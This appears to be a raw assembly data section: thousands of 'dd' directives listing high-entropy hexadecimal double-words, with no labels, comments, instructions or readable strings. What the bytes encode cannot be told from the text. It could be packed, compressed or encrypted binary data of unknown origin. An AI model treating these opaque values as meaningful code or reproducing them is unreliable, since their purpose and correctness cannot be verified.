dd 296BA2Dh, 0E933847Fh, 67E536D9h, 0A0005316h, 7A700DF5h
dd 0BF968BBh, 48F21085h, 16E1006Ah, 521D4722h, 6FD40BBAh
dd 0ECF65198h, 9FC8010Ah, 0A5D65E42h, 8BAE32E6h, 748218E4h
dd 133BEF83h, 130B7F2Ah, 82ADA50Fh, 3D04510Ch, 98888423h
dd 169CB800h, 4016636Eh, 8EEC083h, 3321A504h, 0F7A73043h
dd 6E9C5DFBh, 14D6870h, 7F3280ACh, 5AE94860h, 0F7CF0305h
dd 5BC141D9h, 0DF4F076Ch
dd 0B5344CD6h, 0D32EF1A1h, 30C8F396h, 12D3A79h, 683630D8h
dd 6485B402h, 0E54BBD5Fh, 36B46116h, 0A8C55B8Dh, 80D5B762h
dd 19254EAh, 98478F13h, 432E68B5h, 0E9624D39h, 24385E33h
dd 43C458C9h, 0FE5D5980h, 72EC9FF5h, 3479D895h, 0BCAB298Fh
dd 35A605B2h, 6A1313C9h, 7048278Fh, 0A763552Eh, 0D3B91457h
dd 52810A3Eh, 250C4256h, 0BECF6607h, 68EDB40Bh, 1FA2615Dh
dd 281DD77h, 1DEB639Fh, 166A080h, 0D9E6350Dh, 5E0828D0h
dd 0A2C148E4h, 65BB5917h, 6E1EF9EAh, 0ADF308B2h, 99609CDFh
dd 0F0A008BCh, 0EFE81C44h, 0E718D202h, 52D7591Dh, 6B58587Ch
dd 1D75C31Ch, 6FEB5DD3h, 4F428E7Ch, 9665249h, 5510403h
dd 79F38BDDh, 6F186350h, 0C5560F92h, 0A05C88Ah, 4920D13Ah
dd 85903BCAh, 81CE29h, 0C714A4EEh, 0C6015903h, 98DB6827h
dd 138BBB79h, 0C027E32Eh, 0E63DE93Fh, 85451BDh, 7A28A3DCh
dd 291704FEh, 0D1A14B57h, 3F349EE4h, 0EB80658Dh, 0B2F9DEC5h
dd 0E926DA01h, 58844E12h, 0A1A5F829h, 0BC6ECD3h, 0A4DB81Bh
dd 97E26D0h, 2E3C1EFCh, 0AC126C99h, 60AFA64Fh, 8BC10155h
dd 3ECB3BEFh, 0E96D305Bh, 4495D3F1h, 4F17F0C0h, 0A5A2F3B9h
dd 0D71E8AEBh, 4B9F31FAh, 8C0B6295h, 2E07BA56h, 9179114h
dd 0CE75C809h, 80DC4FA4h, 4E19BEBCh, 300C563Dh, 0B9B82B75h
dd 80D05A10h, 0F7910521h, 0D03D173h, 45AA4E86h, 346ED840h
dd 0A2175A0h, 0A88EF359h, 90F62793h, 3C04A1CAh, 8BFBE03h
dd 0C0277968h, 0BEF5727Fh, 30DC5068h, 525F16C3h, 22E5C754h
dd 58F4D034h, 32E5F8C3h, 10223B4Fh, 1B61877Eh, 0D9203348h
dd 57970BF1h, 480A3688h, 90D54B4Bh, 1E8B6847h, 8C6C7308h
dd 524613CFh, 43BA6607h, 8953536Fh, 0F00650D3h, 1F557E5Ah
dd 686D2CBDh, 67B63FE0h, 0BA14A1DFh, 1F9C0F12h, 0ACBFE257h
dd 9A41776Fh, 0EF1C8603h, 942E7AF2h, 0AA2A0941h, 0AEEB7324h
dd 65AF7C95h, 0B4A3ABCFh, 9863D12Dh, 0DA0041FBh, 284068E3h
dd 766BB805h, 1374BDDCh, 0C9157F2Dh, 769B1A2Dh, 7F7C0B2Dh
dd 0EA51035Dh, 130D7E78h, 80E7E9D0h, 7B886800h, 1B79392Dh
dd 643CD9B3h, 2F0BE901h, 97E7BB6h, 63997B84h, 12D85504h
dd 0C7684FBh, 0E3397FC3h, 1251A149h, 86550C8h, 0CDE92770h
dd 6AEE9503h, 0E1147D34h, 0F67DD8BFh, 5251DF02h, 0A3259768h
dd 9A67B01Bh, 0B38C846Bh, 1FBD2E8Dh, 9D2754FCh, 273DF8CDh
dd 66FB4236h, 639BDEA2h, 100F2D87h, 84FF6A65h, 3924EB79h
dd 0F38DC2h, 88D8B652h, 10CAF74Ch, 0E05BDE6Bh, 17000571h
dd 2D292A37h, 7B911C0Dh, 757CBD2Fh, 0B51422CFh, 0A93E04Dh
dd 0F86A5E4Bh, 395A0015h, 0E9425121h, 0F12B693Bh, 6D99805Fh
dd 0FA0B070Ch, 0DD816562h, 27C80C1h, 34B85801h, 431D9BBCh
dd 97066A8Ch, 4E798C6h, 1FAF11D8h, 0F02AA858h, 9F28DC68h
dd 0E4304B18h, 0DF2CE9Dh, 0C3FED3F6h, 0AA4F3004h, 0A784E92Fh
dd 37A1EF91h, 9A203446h, 87DD9C06h, 924DD656h, 186835E9h
dd 40CC8AB3h, 0F70601h, 55B05051h, 0FE58C188h, 61E9C917h
dd 0C55FDE4Eh, 2CD89876h, 13F8FE9Dh, 0B84C293Bh, 5E0CD079h
dd 9E0041BDh, 0E9606B56h, 81925B11h, 2650B24h, 0A07A48Ch
dd 2AD316B9h, 0D200BB96h, 46F505A5h, 1B353B48h, 0A9696B14h
dd 21251020h, 8AF71D8h, 0BB01D768h, 39E64095h, 9BE5330h
dd 29462F25h, 8807F50h, 4D4EAEE9h, 8D373A9h, 5918C5BEh
dd 3E3CBF80h, 4D2D07C3h, 3EE069C9h, 7D33CC06h, 555B2712h
dd 895A63E6h, 0E99A44BBh, 1413BA49h, 1349D0A8h, 88C8B2C1h
dd 0AB2FA6D1h, 572C5D1Ah, 0F2C2417Bh, 11365578h, 8293C597h
dd 18725E8Bh, 3DC0D5E1h, 0A09F20AAh, 2D489B0Ch, 825D30B4h
dd 0FD58C666h, 0BAA675C5h, 9F124E00h, 2FF50120h, 10DCFC68h
dd 29070FC8h, 3AF4E9D5h, 5BF20516h, 8C4B850h, 1816D738h
dd 0F0890DE5h, 0C1E5E94Bh, 0FB6B357Eh, 5B61C9F4h, 0F4C5A24Ch
dd 3B6C8383h, 1599E899h, 3FF50F34h, 71288680h, 314C130Ch
dd 0E944B0FDh, 1436D827h, 1D5E5BC9h, 3E726BCh, 66C66354h
dd 2F5A0C01h, 0DA291230h, 4F10A97Fh, 6B466CE0h, 955584Ah
dd 20ACF6F2h, 0D42BF90Bh, 45D2AF92h, 0F4C55D59h, 0F742ABA5h
dd 16D54492h, 0AF585B29h, 5EA43338h, 0F1C950Dh, 1277616Ah
dd 0CE24EF3Eh, 0EA375D80h, 0E9940CB5h, 80300C93h, 4054C732h
dd 4031FC4Ah, 956862F3h, 2190B5Ch, 238F4CDCh, 0E1A78F43h
dd 319C6D64h, 3EDFE63Eh, 4F3D8B2Dh, 20ACF67Ah, 105B6F07h
dd 455EEE5h, 0FA6DE9A0h, 2CEEE413h, 7C406F13h, 24B94551h
dd 67FEF1BAh, 88290D25h, 0E9040821h, 0D889C385h, 7C223A40h
dd 2784C8Dh, 0E90D1E30h, 7AB7A463h, 9CC0484Eh, 0F6800760h
dd 0F43B08F2h, 0B5C4105Ah, 0E2268A48h, 0A7E809F0h, 66E96F6Bh
dd 0A952C242h, 69303601h, 4DB2E948h, 0E7A8B22Eh, 93915185h
dd 6660F128h, 0CB09954Bh, 22765F5h, 0E5DEE951h, 5658B6C6h
dd 0F0700CCh, 0C15A7828h, 664B0EAh, 0A64CF8C2h, 0EE0B0C13h
dd 0F0EB6962h, 0A886C0FBh, 11D8606h, 868F109h, 75E5303Ah
dd 5C6A7104h, 0D827464Ah, 5C6494DBh, 0F0BC57EFh, 645032C7h
dd 91409C82h, 1053766h, 0E468B708h, 0F861CD14h, 607EE3BEh
dd 6D6F732h, 0F6B040DEh, 14737F1Ch, 215EF009h, 8DADE651h
dd 84A6155Fh, 0BFBC28E9h, 19E0B0B5h, 0BCC59D08h, 505C8A20h
dd 4A42047h, 877F580h, 6B98EBEEh, 0FE7955E8h, 286CCED9h
dd 404F0105h, 6AB0C959h, 3C99E0BCh, 7C1BA754h, 74A610A4h
dd 0A5091F90h, 0F771E678h, 0A12CAB44h, 5F6A36B4h, 5F106901h
dd 728F812Fh, 1721B61h, 5936AE65h, 0B3964070h, 0A5B393Dh
dd 0B1EE24C4h, 1C98DB9Bh, 0CCA02D6Ah, 0C2273276h, 0CD3A6813h
dd 91741298h, 50E2010Dh, 7A1A2E39h, 78334A14h, 0EF665C40h
dd 0E7B6C130h, 2764A97Bh, 0B5BA0001h, 0B8E32C92h, 0B7C57040h
dd 0C712356h, 5557E100h, 38A76804h, 0CBE83FA8h, 0D6E58101h
dd 93497E29h, 8838069Eh, 1B1C17DCh, 9301AA62h, 9AC8E1C7h
dd 55954E2Eh, 0D901EA57h, 23EA67DAh, 7421F9F1h, 5D5F0802h
dd 183E53F1h, 0B80A8B7Dh, 872C1EA7h, 7B478903h, 0D5170F16h
dd 28E8535Ah, 0C3F389C4h, 0E30D621h, 0C7853058h, 1E419F67h
dd 0DFB32F5Eh, 6D409C9Fh, 0D3C25576h, 0A870253Fh, 0F58817E7h
dd 21EA16AAh, 0F050Fh, 504D8F6h, 301E2C26h, 0B463EBC1h
dd 2CEFF4FEh, 0EBB853EEh, 4B09787Ch, 5DB854E9h, 0AD908BE6h
dd 33CB9850h, 59C8290Fh, 7C76222Dh, 0ADD6A39h, 6D055B07h
dd 88805E4Eh, 4C1DA2C3h, 8E1A1219h, 2FFE93Dh, 55DF0183h
dd 355AC5DAh, 3DD520D7h, 0E1E8A7D5h, 8207FC4Ah, 0FFF616B4h
dd 7DBFD00h, 87277AB3h, 439357D6h, 5AB105Eh, 0E5D7EF96h
dd 4D956A65h, 127CF356h, 0DA258833h, 0C25881BAh, 640C9AE6h
dd 0C8709FF2h, 62BE32D2h, 0D857173Fh, 207B9DA8h, 8D6A546Bh
dd 2CE0FEh, 0E54D8DB2h, 1533D48h, 0C21AB277h, 1F5DCF89h
dd 4DF2ED2Bh, 80A34BD3h, 0F875EA92h, 0CB3E402h, 6FBF60DEh
dd 8987B621h, 0A633E0FAh, 214702D0h, 51ED4397h, 0DF36A40Dh
dd 4AF17840h, 0CFB3CC49h, 7A310C41h, 27F7CFDh, 1DC7BE92h
dd 54404142h, 12027D6Fh, 0E9EED163h, 0BD86785Ah, 5C02ED3Ch
dd 0E9CB885Ah, 2FA176FCh, 6F57DA99h, 0A2AE9965h, 3E6D0B64h
dd 0BEA02D9h, 0CDF2B05Ch
dd 9EFF99B3h, 0E9365356h, 17FB033Bh, 3943462Dh, 0D0AF93CAh
dd 8D09DE50h, 39CD4Ah, 7673B671h, 64F0BD31h, 0BFCE4430h
dd 4CFFC1C7h, 0F926DFFDh, 197C8B99h, 5D810D90h, 5075D633h
dd 6E93B0B7h, 5482EDD1h, 1CAC9224h, 0B02248DDh, 46FB9711h
dd 0DB12DC1h, 0F834F06Fh, 0ACBBE913h, 0F16B5EDh, 5C9DE6h
dd 2424696h, 0A4A4334Ah, 50FDE2BDh, 3C2FACCh, 0E96CFE34h
dd 321D7227h, 3CCAD109h, 94A48F4Fh, 5B202D40h, 8E729561h
dd 87D10783h, 3FD3A04h, 948213CAh, 8039DEC0h, 0E230E589h
dd 84E8B37Fh, 0FC2D0990h, 5E49135Fh, 0F1675C01h, 6FA2C420h
dd 71860B3h, 215C56AEh, 0E8B408B8h, 76A23689h, 0EA9649A0h
dd 310896BDh, 0E9251CB8h, 56C23FAFh, 251FE75Bh, 1809A87Ah
dd 0F75DCD45h, 0B2C9758Eh, 535B99FDh, 6BA1F93Fh, 0F5B84820h
dd 0E71B2F6Ch, 0C5E46270h, 3F145850h, 928FCC4Bh, 1257597Fh
dd 721BB02h, 1B4041DAh, 0C23B39DFh, 5DE30642h, 0C0C9038h
dd 8FFFFCEBh, 0D95FD1CEh, 548F0EACh, 88983A24h, 291CF249h
dd 0D8D762B2h, 0FFAF4509h, 7FB4F396h, 0C22404CBh, 0B9FBE5AFh
dd 4030DEE2h, 601706E4h, 6A1A9614h, 0E9166420h, 7354BC8Ah
dd 0A7A11070h, 505D540Bh, 4C0FA520h, 0F7987C38h, 0A9D1CE0Bh
dd 0DAAB227Bh, 5058FCBAh, 0E5990C03h, 61F6644Fh, 8AA231AFh
dd 0DBA80443h, 180C9B40h, 0C46FA58h, 9E052942h, 0E6F2E94Dh
dd 9D0627A9h, 0C506145h, 7F3B2070h, 98B8826Dh, 0F1120D9Ah
dd 0AE482558h, 1B956FEBh, 66A2E711h, 1E297928h, 0B1E25353h
dd 3DCA6FABh, 0E26ED2D3h, 910076CAh, 3A1B9492h, 51025BB8h
dd 0E97B4665h, 0D7ADA9D5h, 668293E2h, 0A2DD2901h, 5FF8468Ah
dd 0C30808D9h, 0D2F602ADh, 3374E2C0h, 0D5303E05h, 66018BE3h
dd 0E9B2B353h, 0B91A246Dh, 342F18F2h, 0BCB06861h, 716C2616h
dd 48AD02DEh, 18E2070Eh, 50AD15D1h, 0A1680563h, 0D4288E08h
dd 0C67282F1h, 0E4D4AF0Fh, 9D86F73h, 85F49548h, 0CCF3B001h
dd 0D01C189h, 0E8ED7BA3h, 0BB2CFB93h, 5EA7404Bh, 74160ECh
dd 0C882933Ah, 259019D1h, 2AF13048h, 330B4763h, 4549D556h
dd 0E9BD5C02h, 0BF83050Eh, 2DC07976h, 31F977ACh, 0F48F41C3h
dd 595FC25Dh, 0F5EB6F6Fh, 0F6B299D0h, 85F7EF9Dh, 0A88884E9h
dd 0A03C9EE5h, 0B8315FB3h, 672DB0C4h, 70F055Ah, 0F05E801h
dd 2AB55D07h, 0FC6F2817h, 0F9F19247h, 9020296Eh, 0BB34C428h
dd 41D5043Bh, 2C37BF02h, 67A42301h, 0BBCE853Bh, 3F9D081h
dd 13E3447Eh, 4398EFB1h, 16072465h, 98F31413h, 5038A310h
dd 784E9D55h, 68818332h, 73C280FAh, 0DFEA0D12h, 0D610CA28h
dd 0EDE9640Fh, 4F65E3FAh, 16F44BAh, 0A2F2EAD3h, 9F99BDD3h
dd 0B71FBD10h, 988479ABh, 98293E68h, 0FE68DE28h, 562C9855h
dd 46CB8072h, 31271D0Ah, 2A8AEA31h, 585200B6h, 96C2F65Ah
dd 0A0751796h, 681259E8h, 8CC71E2h, 9400BDB6h, 0D7774A05h
dd 35482B02h, 600E5F74h, 97793C55h, 2FFCD89Ch, 5A3CBE6Bh
dd 97F4BDDFh, 2AE1C4F2h, 0A7749A9h, 380662B8h, 61FA08D0h
dd 6B836804h, 0B61F33A2h, 0CE42C92Fh, 6054C875h, 60A09791h
dd 37443EA8h, 0C9EA8102h, 0DD1B5A38h, 1808F128h, 139F1E58h
dd 4260A176h, 4D105F0Eh, 0EAE2BF62h, 5205C3C3h, 3F2CC304h
dd 71A60BFAh, 0FE860884h, 0ACCD5D5Dh, 11737BC6h, 0C720CF58h
dd 3620495h, 8F2F5FBCh, 0B1B31677h, 0EA4D0B59h, 0B5962351h
dd 0AAA40E53h, 6B29483Ch, 0D0FC2DCBh, 0F63F88ACh, 0FB8A50F7h
dd 2A2C6851h, 0C2C44945h, 0B94FCBFCh, 0EDA1B3D0h, 8AC473ECh
dd 0E16CADE8h, 96E43E9h, 85595D03h, 85C5F5EBh, 0D307D72Dh
dd 0D37B75Ch, 3B0FC9C2h, 6D7B8140h, 97317045h, 38305676h
dd 0BFEEC15Eh, 21D50660h, 0E9F78904h, 0A6B9562Ch, 5DA6F076h
dd 0FF5F8C94h, 0C47B4269h, 6BE8CDh, 0F36176BEh, 0EF68111h
dd 7FC631AAh, 0AF28C1DCh, 880191CAh, 13BD7B6Ah, 0FDD4FB51h
dd 401DA102h, 4BFA6017h, 52F5C0A9h, 997EABBAh, 9BF0725Bh
dd 2DCBB809h, 917DC025h, 0BA512201h, 0CEC9F130h, 0C9FE0883h
dd 1200B252h, 0CA205AD1h, 0CC686659h, 0F93A802Ah, 9BC12854h
dd 84E5D449h, 0DFEE7D9Dh, 59404A00h, 6D251A85h, 0D4534BE9h
dd 0F179D1F4h, 18236717h, 0B9FFAF35h, 1A52197Ch, 0C2491641h
dd 0AF41E557h, 2681901h, 5B55C23Bh, 0FBA18BCDh, 30DC14D7h
dd 0EA179AB5h, 292F0EA0h, 80097238h, 970A3108h, 7A0283ABh
dd 0E65B2311h, 722CF0A0h, 0D9538BB8h, 0A79401DDh, 0E216E5FAh
dd 831DB8ACh, 0D94AC380h, 0F7C2BE49h, 1452FDF9h, 0F8E918B3h
dd 0D6B15295h, 12F18016h, 9D2CFF13h, 0F5B6A328h, 2BD1EF14h
dd 52095780h, 6256D954h, 5904E0BBh, 0CA6490ABh, 1E055F53h
dd 55F7686Fh, 0E984485Dh, 3AFDEC2Dh, 0AF1D2200h, 0A0F3812Eh
dd 3A07011Dh, 5893CB82h, 518EFF7Eh, 9F7BCF20h, 0E913DD29h
dd 0C74626E3h, 2F8341A7h, 0C9468AE4h, 2AC4A481h, 68C20FFDh
dd 8FB056B5h, 4FC54065h, 9BE817D1h, 0F76AEFC6h, 1D09507Fh
dd 8E721413h, 28EAD332h, 97626A86h, 0FB096870h, 4B102CFFh
dd 0A009C075h, 87FBBDFFh, 7CCFA53Eh, 2D364AACh, 898FD77Ch
dd 0AF5AA6D1h, 0D2C24829h, 0EEF16527h, 6652FE8Bh, 5F537A31h
dd 7C7FF1FFh, 40F8AC0Bh, 0CC31682Eh, 3732CF31h, 45B8C3Fh
dd 20804216h, 1D816DA8h, 6FB519BBh, 0A774EBC1h, 0ACCBA392h
dd 2A6E98DCh, 404A2C0Bh, 0FBA518CCh, 68252477h, 6BBAD6F8h
dd 0EAA28141h, 0E978AEFCh, 5DD6AACCh, 0C9278895h, 0AC2EF3B9h
dd 0C383A0ACh, 5E129002h, 615C4497h, 0B0CFBA6Bh, 3B27910h
dd 0E3DD30BBh, 0C1321028h, 3F04019Eh, 8091B151h, 0B2427771h
dd 0B48FFF6h, 0F896F930h, 0B09D610Bh, 0B55E7C38h, 0D2E48851h
dd 86E99C01h, 0B9F43E91h, 0B0CA408Dh, 57EC595Bh, 180C927h
dd 7C1F3EBDh, 9534287Ah, 57AC329Dh, 53D70402h, 2661ACB3h
dd 5B6F60F9h, 28A52C0Fh, 0C37FDC8h, 9C4D784h, 0D36FA7BBh
dd 766C3E92h, 95C1262h, 5E8207FAh, 94A0C992h, 71DB0137h
dd 55A4295Ah, 66545C57h, 88939E24h, 273D55E4h, 0EB6D2020h
dd 484A25C9h, 5804AE16h, 0ABCCEA09h, 68096FCEh, 0BAC6433Dh
dd 0D43AA20Bh, 0AED90004h, 24590642h, 1748FB21h, 3B302938h
dd 207F3C14h, 0DF2D0699h, 265B4E72h, 1FA67A9Dh, 196EA705h
dd 432D3058h, 0ACB05E07h, 4A7B120Ch, 9006DA9Dh, 0ABAD4E44h
dd 0DE8A0121h, 18164969h, 35312CE7h, 5FA48D5Bh, 7E534186h
dd 4978E3E1h, 9D05425Eh, 7BFC792Ch, 0E204A800h, 4EC5E932h
dd 0D28BA9D9h, 2F4D7901h, 0B92A64EFh, 82EB46EBh, 72ACD4E9h
dd 458812C1h, 0A52304AFh, 0DEEFDDh, 2D0CE90Ah, 7A3240ACh
dd 569D4D4Fh, 36EB01B5h, 6E493E78h, 0A96E650Bh, 0A5645984h
dd 0EE202A6Ch, 88FB96A3h, 5C25D54Bh, 88F60885h, 3A5F300h
dd 0E2683862h, 0BE18BF55h, 0E1E4252h, 54258B3Ch, 5DE9F86Fh
dd 59070A9Eh, 0F752C683h, 127E1D6h, 0C78C1141h, 624D8A7Ah
dd 75340F24h, 0C2B2CAE0h, 0C95CF4B5h, 1D407656h, 0BD755957h
dd 0B7489244h, 7C7DD010h, 0BB9C840h, 7B22424Dh, 9C204A5Eh
dd 1CA75A20h, 7FEF681h, 0EB31762Eh, 14DE2404h, 53EE0378h
dd 0E88137F5h, 90EA5EA8h, 0E0D92DB7h, 4BDF5790h, 0D4F00122h
dd 0EB10800Eh, 6E974597h, 0D2253AE6h, 315E1360h, 3F4153BFh
dd 0EED0CA12h, 0C50CDD24h
dd 55FE3758h, 0A5209B2Fh, 54F7803h, 53685A1Dh, 0C545EC69h
dd 37BB3847h, 923CF1AEh, 40303A26h, 736ABD55h, 9A3B4C73h
dd 5046020h, 4F4D4372h, 6E56D8CBh, 5ABD3710h, 512D04F2h
dd 0FB093462h, 4F319482h, 0AB3DC282h, 5A0B5FD1h, 668ED151h
dd 14FC9059h, 0CC901BE2h, 2D3CF402h, 74EDE918h, 0DECF20E2h
dd 79F894C3h, 37924068h, 0A103D5B1h, 76E7A559h, 7A66F99Eh
dd 5750BB31h, 1A2FA740h, 815F0133h, 3A2AACCFh, 42C2F07Dh
dd 0C2959B9Dh, 1FA40FAAh, 10C3B37Bh, 21193D38h, 0EC50B3F0h
dd 0A19DC736h, 0BF0CCC99h, 0CF2C0478h, 5D430958h, 8B774D75h
dd 0B2A078E9h, 6617CCB9h, 0C8097900h, 0DD8F759h, 0A26400E5h
dd 6C722D71h, 0F9E235E4h, 0D1524602h, 4058C621h, 1810297h
dd 0BBF53DEEh, 3BB0E9F6h, 0B6B8E40Fh, 929399A3h, 0B46881DAh
dd 2F1E20BBh, 63890EA8h, 60AB54BAh, 40144F2Ch, 4B0E9E90h
dd 0D70A9555h, 0CDB43113h, 0F1519FEDh, 26200108h, 0FBEC09E3h
dd 0B5366E7Fh, 791493A2h, 266302DCh, 0E7793BB3h, 0D740B5A7h
dd 3FDEE188h, 7A48AFBFh, 0CA68140Ch, 53C0D10Eh, 650175BBh
dd 0F3810F01h, 10963D73h, 4E94D320h, 7197F850h, 0A60B1F90h
dd 740892F4h, 901C08B2h, 6009D24h, 975B850h, 257100C9h
dd 32D541A4h, 44249C2Dh, 3B0BE7CEh, 0E725D4B0h, 120BCF55h
dd 271DB722h, 4497DE4Ch, 0C62D484Eh, 1A78AC97h, 0DFF5FE2Eh
dd 1A2D9152h, 335993F3h, 5A10D170h, 7EC2018Dh, 6E0DA27Fh
dd 0F9E9A6C1h, 0BEAB162Eh, 0C2097307h, 0AFBF93A2h, 96450E2Ch
dd 0D70DAE22h, 438979C5h, 29B21957h, 69FD9B30h, 63FE47E1h
dd 0C962280Dh, 0C0E63Eh, 173B9438h, 125EF531h, 0CC3F9B68h
dd 0AE49AB0Fh, 0F7566B04h, 33A7B36Fh, 2EF26Eh, 265C09BBh
dd 44E01F5Eh, 373FE7F6h, 191CF4EBh, 54E6D1AAh, 5B825282h
dd 3D9B1B02h, 7C406E05h, 8C070BBh, 4B4483C4h, 0E5EEAC8Fh
dd 4AD5B3BBh, 2AA690B1h, 9E1058h, 0C280EA28h, 0E2059F6h
dd 0F1865AD1h, 0D52CEE4Fh, 0E235E908h, 0D0EA2CF7h, 0BF2D4610h
dd 40273D7Dh, 4A167FB0h, 851D4BFh, 0B1098C13h, 8FB28h
dd 6DEA80C7h, 47B21DE9h, 382B6812h, 41C6E2CCh, 0D5A43A95h
dd 800640A7h, 66BAC703h, 74FD8851h, 0E9EF08AAh, 531DE010h
dd 11A14EBDh, 6FA21762h, 40682648h, 42CC255Ah, 0CCE00B9h
dd 0E1816FF4h, 0C55C6A98h, 7E916DFh, 6037E249h, 49635EDh
dd 50DA4EE4h, 3A81AE5Dh, 352124EFh, 33659900h, 29663ECEh
dd 28081C68h, 11481F8h, 7850D16Ah, 0D728299Dh, 0C7FC6CB5h
dd 81859E65h, 105D57ADh, 0F1E9EF29h, 0D49E6845h, 59D90016h
dd 0CE8110EDh, 993217AAh, 4A5A2102h, 97373CB9h, 2FA92574h
dd 5025D794h, 317FB95Dh, 0F64A5D2Ch, 0E5552DB5h, 25804D5Ah
dd 0C4AD7AFDh, 8E8405B5h, 4BF3F2C8h, 10661F01h, 41C75DB2h
dd 0D06F075Ch, 252180D0h, 6CE94709h, 6F00DCA7h, 953ED83Fh
dd 931F2CF2h, 7EE430C9h, 12BC502Dh, 0B1636Dh, 29F7F1B0h
dd 86F6C07Ch, 84D97248h, 0B5099404h, 29F96008h, 35193D3h
dd 164DF5EFh, 7AC1584Ah, 5F027BA9h, 8B6FEBFEh, 745B42AAh
dd 11B254EFh, 0F9C96F9Eh, 0BEB36B5Bh, 0B16AF0FCh, 0FA4F7677h
dd 2D5E2781h, 0E9B4FF2Ch, 8EEB96E1h, 3FE90927h, 1685E655h
dd 485C0EB8h, 0A2CAEC8h, 3846D60Ch, 0AD4301A8h, 5EF10136h
dd 0A0C24256h, 0EBD2FA4Bh, 7EC955DCh, 76850E8h, 9ED051B7h
dd 6C2F4251h, 53551108h, 654AA868h, 0C0525CCBh, 0AA7B7FA7h
dd 9C74240h, 2F087DC3h, 0A05163D7h, 0CAB5905h, 0CA96E987h
dd 0F49F5838h, 1737C3C1h, 0C6047584h, 0C01C685Dh, 6E3802A3h
dd 904858h, 4C21FC0Bh, 7A610B12h, 24BA020Fh, 561E3D69h
dd 6FC1C1h, 23ECBDh, 814D0E71h, 0FE43ABE5h, 0FBE97E0Bh
dd 0F5A6298Eh, 7AE2A51Bh, 0C1061874h, 0B5802E5h, 5430DECh
dd 65204458h, 39BF001Bh, 8140DF3Dh, 7F135BCFh, 6BF50C9h
dd 0AEFD183h, 0D3A2066Eh, 532CCBAh, 1834E609h, 2DFD051Ch
dd 0D65A0709h, 0EB124400h, 0CA2865E5h, 2985E9B0h, 0C3D15E81h
dd 9A1A9B30h, 0DAFD4827h, 6D350B72h, 0CBD75F27h, 8E25A137h
dd 6BC22C57h, 0FA15499Fh, 6182F3FDh, 8E2045B9h, 8F3E8055h
dd 5A342D23h, 1235C429h, 1A4B7608h, 9E9B0802h, 0DEEAE9CFh
dd 5DEF8975h, 0EB3F3387h, 74683CA7h, 52398C3Dh, 7916DDF2h
dd 20BB78F6h, 1C1D0E4Fh, 0DB913AC4h, 526C20AFh, 801CF8B6h
dd 0EEC101C6h, 1C8AE99Eh, 0E0D60B2Ch, 70098C28h, 485A6A99h
dd 8285391Bh, 3589DE7Eh, 4583D95Eh, 55B2BF56h, 0C8ADE90Dh
dd 0C6D46021h, 62AECE4Fh, 305E53B2h, 5DF276C2h, 26A83FD3h
dd 506F580Ah, 65139136h, 294C67F6h, 5807E305h, 5238219h
dd 1469B4E1h, 415C0AC8h, 0C10B7F89h, 804AC529h, 7E03822Dh
dd 0F0282943h, 0ABA00705h, 9D9EDBBBh, 72C6EF92h, 6FE129Ah
dd 0F19E0489h, 1E5AA9BCh, 0E04B5005h, 4E7EF6BDh, 7A5C2D20h
dd 0CE902453h, 0ECCC2F4Ah, 0FC4812E7h, 0E6B7011Dh, 2025A56Eh
dd 7912925Dh, 0BD0A0BEDh, 56ED70Dh, 90E266F0h, 0CA1E022Fh
dd 18A8B148h, 0C6218AB5h, 0BA1718CAh, 0AA9EA43Fh, 0CF0F0293h
dd 3532A4C7h, 7FCB44C0h, 0C30CC773h, 6BE70014h, 0E92CFB01h
dd 0D0A73032h, 0E006D0DAh, 6097B420h, 90AAE6C1h, 28FA0535h
dd 0C4585AF5h, 0B365C22Eh, 0F8EE147Fh, 0F5D0AA97h, 3177382h
dd 0A5891CF1h, 2530DF4Fh, 0EDB79AB3h, 78D80BD3h, 2791FAA7h
dd 62554793h, 33E02268h, 0BD8085D2h, 0B377077Ah, 0C2EE0902h
dd 2E7796B1h, 517F2471h, 834916AAh, 0E9C55D7Ch, 0E7A89235h
dd 0B459CD12h, 540771Ch, 33B505B8h, 1C932208h, 5FD0ED8Fh
dd 0C540E912h, 0B5B198EFh, 18803835h, 6872A0BEh, 80A3795Fh
dd 66EF8807h, 0F6F84050h, 0CA4968D0h, 4BAF5B72h, 68555C1Ch
dd 985450E5h, 594B211Ah, 9AD4E985h, 71BB2B57h, 501EE995h
dd 5DEA09ECh, 2E424A3Dh, 8180339Ah, 0AF3732E6h, 0B951002Ah
dd 0F2664EBh, 34549168h, 0FDF25033h, 6FD37116h, 0E6353E07h
dd 5D2A47A2h, 67D6C5C8h, 279E8B4Ch, 0BFB5F087h, 0F5023370h
dd 5F30553Ah, 971AFC05h, 6824E42Dh, 0C3371E5Bh, 0EB796180h
dd 0F15B5B78h, 0A968214h, 753EAA11h, 52C9CDE8h, 68CF321Dh
dd 16A700BDh, 3BE91B44h, 129AB1D2h, 0F36F85E5h, 0CD4210ADh
dd 7C8B2D03h, 0FA80E39h, 3F13BECAh, 8F21C229h, 147C5C53h
dd 0AB6E98E4h, 1720F14Ah, 192B252h, 0C780C0B7h, 3ECEE9A9h
dd 2D80F5F2h, 57DC0C1Eh, 0F6740E97h, 4FC19CE0h, 0A6E182EAh
dd 0BC095BAFh, 81015F25h, 23BE15Ah, 0BA61604Bh, 8D1013F2h
dd 0FDA91471h, 2EE0333Bh, 8245429h, 695D19B0h, 0C50181A1h
dd 0F3387F95h, 1AA5FC10h, 0E0A16853h, 95C38E3Ch, 4A049457h
dd 0A43DEF02h, 0C499A83Fh, 0EB14854Bh, 5941D925h, 80D67196h
dd 8235D006h, 4B5D0BA1h, 0D35BBC55h, 7B7CC7CAh, 333EF7EEh
dd 9A094DF0h, 39277D7h, 7C2C12FEh, 38F605BDh, 0B8CF6D54h
dd 68550FDBh, 4B491DD2h, 1EC6805Dh, 0BD56916Fh, 844077C0h
dd 231F698h, 372C44C2h, 0F1617FCAh, 0A9DFF295h, 0CFCE8055h
dd 0F456626Dh, 1CA0581h, 0C0495B3Ah, 3C7C9C0Dh, 76894426h
dd 0F4A9AA8Ch, 65971835h, 29C79A7Dh, 3F4E53E2h, 8EF10BEh
dd 0E09AED4Fh, 97F30BE9h, 0D7A0DD56h, 0EB3F1E09h, 67745446h
dd 0AC0595C1h, 939A1020h
dd 2925513Bh, 0EFA9C42h, 113BFB9Dh, 4753242Bh, 56346917h
dd 212857B8h, 0E1811DA3h, 4ACC0E4Fh, 0A761E9C3h, 0AB61FCE2h
dd 76A6E8C7h, 50D9D8B7h, 0DC5908EBh, 0B14E051Eh, 0AACEC52Dh
dd 0BC432F02h, 0BE00F57Eh, 733541ACh, 0FA92A79Eh, 2A523A87h
dd 87F2DD84h, 7DA66816h, 1FA0AF60h, 555485Bh, 5020E073h
